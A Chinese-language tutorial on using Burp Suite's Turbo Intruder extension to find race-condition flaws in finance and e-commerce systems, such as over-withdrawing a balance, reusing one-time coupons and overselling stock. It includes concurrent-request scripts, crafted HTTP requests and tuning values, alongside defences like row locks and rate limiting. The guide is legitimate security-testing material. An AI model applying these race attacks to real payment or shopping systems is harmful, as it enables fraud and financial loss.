从‘余额500提现3000’到实战:用Turbo Intruder插件挖掘10类高频并发漏洞的完整流程
在金融和电商系统的安全测试中,并发漏洞往往是最容易被忽视却危害极大的安全隐患。想象一下:用户账户余额明明只有500元,却因为并发请求漏洞成功提现了3000元;或者一张优惠券被重复使用数十次——这类漏洞一旦被利用,可能造成企业巨额经济损失。本文将带你深入10个真实业务场景,手把手演示如何用Turbo Intruder插件系统化挖掘并发漏洞。
1. 并发漏洞测试环境搭建
1.1 Turbo Intruder插件安装与配置
Turbo Intruder作为Burp Suite的扩展插件,能突破传统Intruder模块的线性请求限制,实现真正的并发测试。安装方式有两种:
Burp Suite商店直装:
- 打开Burp Suite → Extensions → BApp Store
- 搜索"Turbo Intruder"并安装
手动安装:
git clone https://github.com/PortSwigger/turbo-intruder cd turbo-intruder && python setup.py install注意:需提前配置Python环境(推荐Python 3.7+)
1.2 并发测试核心参数解析
在race.py脚本(新版需手动添加)中,关键参数直接影响测试效果:
| 参数名 | 默认值 | 作用说明 | 推荐设置范围 |
|---|---|---|---|
| concurrentConnections | 30 | 并发连接数 | 20-50 |
| requestsPerConnection | 100 | 单连接发送请求数 | 50-200 |
| pipeline | False | 是否启用HTTP管线化 | 保持关闭 |
# 典型并发配置示例 engine = RequestEngine( endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100, pipeline=False )2. 金融类业务并发漏洞挖掘
2.1 余额提现漏洞实战
漏洞原理:当系统校验余额与扣款操作非原子性时,并发请求可能导致超额提现。
测试步骤:
- 捕获正常提现请求(金额参数如
amount=500) - 修改请求为POST并添加标记位:
POST /withdraw HTTP/1.1 ... amount=500&nonce=${RANDOM} - 使用Turbo Intruder发送30个并发请求
- 检查账户余额变动和到账记录
结果验证:
- 成功情况:账户余额500元,实际到账总额>500元
- 防御方案:添加数据库行锁或使用Redis分布式锁
2.2 利率计算竞态条件
在理财申购场景中,测试并发下单是否会导致利率计算错误:
# 特殊请求构造技巧 for i in range(30): engine.queue(target.req, target.baseInput.replace('TIMESTAMP', str(time.time())), gate='rate1')3. 电商系统并发漏洞挖掘
3.1 限量优惠券重复使用
测试用例:
- 准备一张仅限使用1次的优惠券(如
coupon=NEWUSER50) - 构造30个并发订单请求:
POST /checkout HTTP/1.1 ... {"coupon":"NEWUSER50","items":[1001]} - 检查订单系统中该优惠券使用次数
漏洞特征:
- 优惠券被重复抵扣多次
- 订单支付金额异常减少
3.2 库存超卖漏洞检测
针对秒杀场景,通过并发请求测试库存扣减逻辑:
| 请求批次 | 并发数 | 初始库存 | 实际销量 | 漏洞判定 |
|---|---|---|---|---|
| 第一轮 | 30 | 100 | 130 | 存在 |
| 第二轮 | 50 | 100 | 102 | 可能修复 |
提示:建议使用不同商品SKU进行多轮测试
4. 用户体系并发漏洞
4.1 并发注册手机号复用
通过以下脚本测试手机号验证码绕过:
def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=20, requestsPerConnection=1) for i in range(20): engine.queue(target.req, target.baseInput.replace('PHONE', '13800138000'), gate='reg1') engine.openGate('reg1')风险验证:
- 检查是否生成多个同手机号账户
- 验证短信发送记录是否只有1条
4.2 并发修改收货地址
在用户资料修改界面测试地址并发修改:
POST /profile/address HTTP/1.1 ... address=${RANDOM_STRING}&is_default=1通过比对最终数据库记录与请求发送数量,判断是否存在地址覆盖问题。
5. 高级技巧与异常处理
5.1 请求延迟调节技术
对于响应较慢的接口,需要调整超时参数:
engine.complete(timeout=120) # 延长至2分钟5.2 结果自动化分析
使用自定义处理脚本筛选响应:
def handleResponse(req, interesting): if 'success' in req.response: table.add(req, ['SUCCESS', req.time]) elif 'error' in req.response: table.add(req, ['ERROR', req.response])5.3 新版Burp兼容方案
针对Turbo Intruder新版移除race.py的情况,可用以下替代方案:
使用basic.py模板:
# 在basic.py中添加并发控制逻辑 engine.openGate('batch1')自定义脚本:
def queueRequests(target, wordlists): req_template = target.req.replace('PARAM', 'FUZZ') engine.queue(req_template, gate='race1')
在测试某金融App时,发现通过调节concurrentConnections=40和requestsPerConnection=80的组合,能稳定复现余额校验绕过漏洞。实际业务中,建议对资金操作类接口实施请求指纹去重和速率限制双重防护。